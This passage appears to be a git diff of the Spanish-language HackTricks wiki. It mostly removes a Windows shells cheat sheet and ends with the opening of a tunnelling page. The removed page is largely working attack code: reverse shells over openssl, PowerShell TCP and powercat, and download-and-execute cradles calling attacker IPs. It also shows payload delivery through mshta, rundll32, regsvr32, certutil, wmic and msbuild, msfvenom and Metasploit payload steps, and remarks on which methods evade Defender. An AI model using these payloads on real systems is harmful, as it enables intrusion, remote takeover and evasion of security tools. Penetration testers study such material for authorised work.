||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
Víctima
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
||||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## Powershell
|
||||
|
||||
Powershell es una herramienta de línea de comandos y scripting desarrollada por Microsoft para la administración de sistemas Windows. Es una herramienta muy poderosa para los hackers, ya que permite la ejecución de comandos y scripts de forma remota en sistemas Windows comprometidos.
|
||||
|
||||
### Ejecución remota
|
||||
|
||||
Para ejecutar comandos o scripts de forma remota en un sistema Windows comprometido, se puede utilizar el cmdlet `Invoke-Command`. Este cmdlet permite ejecutar comandos o scripts en un sistema remoto utilizando la autenticación actual del usuario.
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <nombre_del_equipo> -ScriptBlock { <comando_o_script> }
|
||||
```
|
||||
|
||||
### Escalamiento de privilegios
|
||||
|
||||
Powershell también puede ser utilizado para escalar privilegios en sistemas Windows comprometidos. Una técnica común es utilizar el cmdlet `Invoke-Expression` para ejecutar comandos en el contexto del sistema.
|
||||
|
||||
```powershell
|
||||
Invoke-Expression "Start-Process cmd.exe -Verb RunAs"
|
||||
```
|
||||
|
||||
Este comando ejecutará el proceso `cmd.exe` con privilegios elevados.
|
||||
|
||||
### Persistencia
|
||||
|
||||
Powershell también puede ser utilizado para establecer persistencia en sistemas comprometidos. Una técnica común es utilizar el cmdlet `New-ScheduledTaskTrigger` para crear una tarea programada que se ejecute en intervalos regulares.
|
||||
|
||||
```powershell
|
||||
$Trigger = New-ScheduledTaskTrigger -Daily -At 3am
|
||||
Register-ScheduledTask -TaskName "MyTask" -Trigger $Trigger -User "SYSTEM" -Action { <comando_o_script> }
|
||||
```
|
||||
|
||||
Este comando creará una tarea programada llamada "MyTask" que se ejecutará todos los días a las 3am con el usuario SYSTEM y ejecutará el comando o script especificado.
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Proceso que realiza llamadas de red: **powershell.exe**\
|
||||
Carga útil escrita en disco: **NO** (_al menos en ningún lugar que pudiera encontrar usando procmon !_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Proceso que realiza llamadas de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
**Línea de comando:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**Obtenga más información sobre diferentes Shells de Powershell al final de este documento**
|
||||
|
||||
## Mshta
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
Proceso que realiza una llamada de red: **mshta.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
```bash
|
||||
mshta http://webserver/payload.hta
|
||||
```
|
||||
Proceso que realiza una llamada de red: **mshta.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
Proceso que realiza una llamada de red: **svchost.exe**\
|
||||
Carga escrita en el disco: **cache local del cliente WebDAV**
|
||||
|
||||
#### **Ejemplo de shell inverso hta-psh (usa hta para descargar y ejecutar la puerta trasera de PS)**
|
||||
```markup
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager hta**
|
||||
|
||||
#### Ejemplo de hta
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION ID="HelloExample">
|
||||
<script language="jscript">
|
||||
var c = "cmd.exe /c calc.exe";
|
||||
new ActiveXObject('WScript.Shell').Run(c);
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<script>self.close();</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
#### **mshta - sct**
|
||||
|
||||
La técnica `mshta - sct` se utiliza para ejecutar código malicioso en un sistema Windows. Esta técnica aprovecha la herramienta `mshta.exe` de Windows para ejecutar un archivo `.sct` (Scriptlet Text) que contiene código malicioso. El archivo `.sct` se puede alojar en un servidor web o en un recurso compartido de red y se puede ejecutar mediante una URL o una ruta UNC.
|
||||
|
||||
Para utilizar esta técnica, primero se debe crear un archivo `.sct` que contenga el código malicioso. A continuación, se debe alojar el archivo `.sct` en un servidor web o en un recurso compartido de red. Finalmente, se debe ejecutar el archivo `.sct` utilizando la herramienta `mshta.exe`.
|
||||
|
||||
Esta técnica es especialmente útil para evadir la detección de antivirus, ya que el archivo `.sct` no es un archivo ejecutable y no se considera una amenaza por sí solo. Además, la herramienta `mshta.exe` es una herramienta legítima de Windows y no suele ser detectada por los programas antivirus.
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
|
||||
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
|
||||
<scriptlet>
|
||||
<public>
|
||||
</public>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
La carga útil de Metasploit para Mshta se puede utilizar para ejecutar comandos arbitrarios en un sistema Windows. Mshta es una herramienta de línea de comandos que se utiliza para ejecutar archivos HTML como aplicaciones de escritorio. La carga útil de Metasploit para Mshta aprovecha esta funcionalidad para ejecutar comandos en el sistema de destino.
|
||||
|
||||
Para utilizar esta carga útil, primero se debe generar un archivo HTML que contenga el código que se desea ejecutar en el sistema de destino. A continuación, se debe utilizar la carga útil de Metasploit para Mshta para ejecutar el archivo HTML en el sistema de destino.
|
||||
|
||||
La carga útil de Metasploit para Mshta es una herramienta muy útil para los hackers que buscan ejecutar comandos en sistemas Windows. Sin embargo, es importante tener en cuenta que esta carga útil puede ser detectada por algunos sistemas de seguridad, por lo que se debe utilizar con precaución.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
|
||||
msf exploit(windows/misc/hta_server) > exploit
|
||||
```
|
||||
|
||||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
**Detectado por el defensor**
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[Ejemplo de "Hola mundo" de DLL](https://github.com/carterjones/hello-world-dll)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
Proceso que realiza una llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **caché local del cliente WebDAV**
|
||||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
Proceso que realiza una llamada de red: **rundll32.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
|
||||
**Detectado por Defender**
|
||||
|
||||
**Rundll32 - sct**
|
||||
```bash
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
|
||||
<scriptlet>
|
||||
<public>
|
||||
</public>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
El módulo `windows/local/metasploit_rundll32` de Metasploit permite ejecutar un payload de Metasploit a través de la función `rundll32.exe`.
|
||||
|
||||
El payload se codifica en base64 y se almacena en un archivo DLL. Luego, se utiliza `rundll32.exe` para cargar el archivo DLL y ejecutar el payload.
|
||||
|
||||
Este método puede ser útil para evadir la detección de antivirus, ya que `rundll32.exe` es una aplicación legítima de Windows y es comúnmente utilizada por otros programas.
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
run
|
||||
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
|
||||
```
|
||||
**Rundll32 - Koadic**
|
||||
|
||||
Rundll32 es una herramienta de Windows que permite ejecutar funciones de una DLL como si fueran un programa. Koadic es una herramienta de post-explotación que permite el control remoto de sistemas Windows.
|
||||
|
||||
Para utilizar Koadic con Rundll32, primero se debe generar un payload de Koadic y guardarlo en un archivo DLL. Luego, se puede ejecutar el payload utilizando Rundll32 de la siguiente manera:
|
||||
|
||||
```
|
||||
rundll32.exe <path_to_payload.dll>,<entry_point>
|
||||
```
|
||||
|
||||
Donde `<path_to_payload.dll>` es la ruta al archivo DLL que contiene el payload de Koadic y `<entry_point>` es el nombre de la función que se desea ejecutar.
|
||||
|
||||
Por ejemplo, si se desea ejecutar la función `Koadic()` del payload guardado en el archivo `payload.dll`, se utilizaría el siguiente comando:
|
||||
|
||||
```
|
||||
rundll32.exe payload.dll,Koadic
|
||||
```
|
||||
|
||||
Este método puede ser útil para evadir la detección de antivirus, ya que Rundll32 es una herramienta legítima de Windows y el payload se ejecuta como una función de una DLL en lugar de como un programa independiente.
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
set ENDPOINT sales
|
||||
run
|
||||
#Koadic will tell you what you need to execute inside the victim, it will be something like:
|
||||
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
|
||||
```
|
||||
## Regsvr32
|
||||
|
||||
Regsvr32 es una herramienta de línea de comandos en Windows que se utiliza para registrar y desregistrar bibliotecas de vínculos dinámicos (DLL) y controles ActiveX en el Registro de Windows. También se puede utilizar para ejecutar código malicioso en un sistema comprometido. Los atacantes pueden utilizar Regsvr32 para ejecutar scripts de PowerShell y descargar malware en un sistema.
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
Proceso que realiza una llamada de red: **regsvr32.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
Proceso que realiza una llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**\
|
||||
\
|
||||
**Detectado por Defender**\
|
||||
\
|
||||
#### Regsvr32 -sct
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
<scriptlet>
|
||||
<registration
|
||||
progid="PoC"
|
||||
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||
]]>
|
||||
</script>
|
||||
</registration>
|
||||
</scriptlet>
|
||||
```
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
El módulo `regsvr32` de Metasploit permite ejecutar un payload en una máquina Windows utilizando el comando `regsvr32.exe`. Este comando se utiliza normalmente para registrar y desregistrar DLLs en el sistema, pero también puede ser utilizado para ejecutar código malicioso.
|
||||
|
||||
Para utilizar este módulo, primero se debe generar un payload utilizando Metasploit. Luego, se debe configurar el módulo `regsvr32` con el payload generado y la dirección IP del atacante. Finalmente, se debe ejecutar el comando `regsvr32.exe` en la máquina objetivo para que se ejecute el payload.
|
||||
|
||||
Este método es útil cuando se tiene acceso limitado a la máquina objetivo y no se puede ejecutar directamente un payload. Sin embargo, es importante tener en cuenta que este método puede ser detectado por algunos antivirus y soluciones de seguridad.
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
set payload windows/meterpreter/reverse/tcp
|
||||
set lhost 10.2.0.5
|
||||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**Puedes descargar y ejecutar fácilmente un zombie Koadic usando el stager regsvr**
|
||||
|
||||
## Certutil
|
||||
|
||||
Descarga un archivo B64dll, descodifícalo y ejecútalo.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
Descarga un archivo B64exe, descodifícalo y ejecútalo.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
**Detectado por el defensor**
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevas recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## **Cscript/Wscript**
|
||||
```bash
|
||||
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
|
||||
```
|
||||
**Cscript - Metasploit**
|
||||
|
||||
Metasploit tiene un módulo llamado `windows/script/cscript` que permite ejecutar scripts de VBScript en una máquina Windows remota. Este módulo es muy útil para ejecutar comandos en una máquina comprometida sin tener que cargar un ejecutable adicional en el sistema.
|
||||
|
||||
Para utilizar este módulo, primero se debe establecer una sesión de Meterpreter en la máquina objetivo. Luego, se puede ejecutar el comando `run windows/script/cscript` y especificar el script de VBScript que se desea ejecutar. El script se ejecutará en la máquina objetivo y los resultados se mostrarán en la sesión de Meterpreter.
|
||||
|
||||
Este módulo también permite especificar argumentos adicionales para el script de VBScript, lo que puede ser útil para personalizar la ejecución del script. Por ejemplo, se puede especificar un archivo de entrada o salida para el script.
|
||||
|
||||
Es importante tener en cuenta que este módulo requiere que el servicio de Windows Script Host (WSH) esté habilitado en la máquina objetivo. Si el servicio no está habilitado, el módulo no funcionará.
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
**Detectado por el defensor**
|
||||
|
||||
## PS-Bat
|
||||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
Proceso que realiza una llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **caché local del cliente WebDAV**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
```
|
||||
|
||||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
**Detectado por el defensor**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
Atacante
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
Víctima:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
**Detectado**
|
||||
|
||||
## **Wmic**
|
||||
```
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
Proceso que realiza una llamada de red: **wmic.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
|
||||
Archivo xsl de ejemplo:
|
||||
```
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
<output method="text"/>
|
||||
<ms:script implements-prefix="user" language="JScript">
|
||||
<![CDATA[
|
||||
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
|
||||
]]>
|
||||
</ms:script>
|
||||
</stylesheet>
|
||||
```
|
||||
Extraído de [aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)
|
||||
|
||||
**No detectado**
|
||||
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager wmic**
|
||||
|
||||
## Msbuild
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Proceso que realiza llamadas de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
Puedes utilizar esta técnica para evitar la lista blanca de aplicaciones y las restricciones de Powershell.exe. Ya que se te pedirá una shell de Powershell.\
|
||||
Solo descarga y ejecuta esto: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
**No detectado**
|
||||
|
||||
## **CSC**
|
||||
|
||||
Compilar código C# en la máquina víctima.
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**No detectado**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
Proceso que realiza llamadas de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
**No lo he probado**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
||||
## Odbcconf
|
||||
```
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
Proceso que realiza llamadas de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **cache local del cliente WebDAV**
|
||||
|
||||
**No lo he probado**
|
||||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
||||
## Shells de Powershell
|
||||
|
||||
### PS-Nishang
|
||||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
En la carpeta **Shells**, hay muchos shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_, haga una copia del script y agregue al final del archivo:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
Comience a servir el script en un servidor web y ejecútelo en el extremo de la víctima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender no lo detecta como código malicioso (aún, 3/04/2019).
|
||||
|
||||
**TODO: Revisar otros shells de nishang**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
Descarga, inicia un servidor web, inicia el listener y ejecútalo en el extremo de la víctima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender no lo detecta como código malicioso (todavía, 3/04/2019).
|
||||
|
||||
**Otras opciones ofrecidas por powercat:**
|
||||
|
||||
Conexiones de shell, shell inversa (TCP, UDP, DNS), redirección de puertos, subida/bajada de archivos, generación de payloads, servir archivos...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
Send a cmd Shell:
|
||||
powercat -c 10.1.1.1 -p 443 -e cmd
|
||||
Send a powershell:
|
||||
powercat -c 10.1.1.1 -p 443 -ep
|
||||
Send a powershell UDP:
|
||||
powercat -c 10.1.1.1 -p 443 -ep -u
|
||||
TCP Listener to TCP Client Relay:
|
||||
powercat -l -p 8000 -r tcp:10.1.1.16:443
|
||||
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
|
||||
powercat -c 10.1.1.15 -p 443 -e cmd -g
|
||||
Start A Persistent Server That Serves a File:
|
||||
powercat -l -p 443 -i C:\inputfile -rep
|
||||
```
|
||||
### Empire
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
Crea un lanzador de PowerShell, guárdalo en un archivo y descárgalo y ejecútalo.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
**Detectado como código malicioso**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Crea una versión de powershell de la puerta trasera de metasploit utilizando unicornio.
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
Inicie msfconsole con el recurso creado:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Inicie un servidor web que sirva el archivo _powershell\_attack.txt_ y ejecútelo en la víctima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
## Más
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Consola de PS con algunos módulos ofensivos de PS precargados (cifrados)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) Consola de PS con algunos módulos ofensivos de PS y detección de proxy (IEX)
|
||||
|
||||
## Bibliografía
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
|
||||
* [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
|
||||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,590 +0,0 @@
|
|||
# Tunelización y Reenvío de Puertos
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Consejo de Nmap
|
||||
|
||||
{% hint style="warning" %}
|
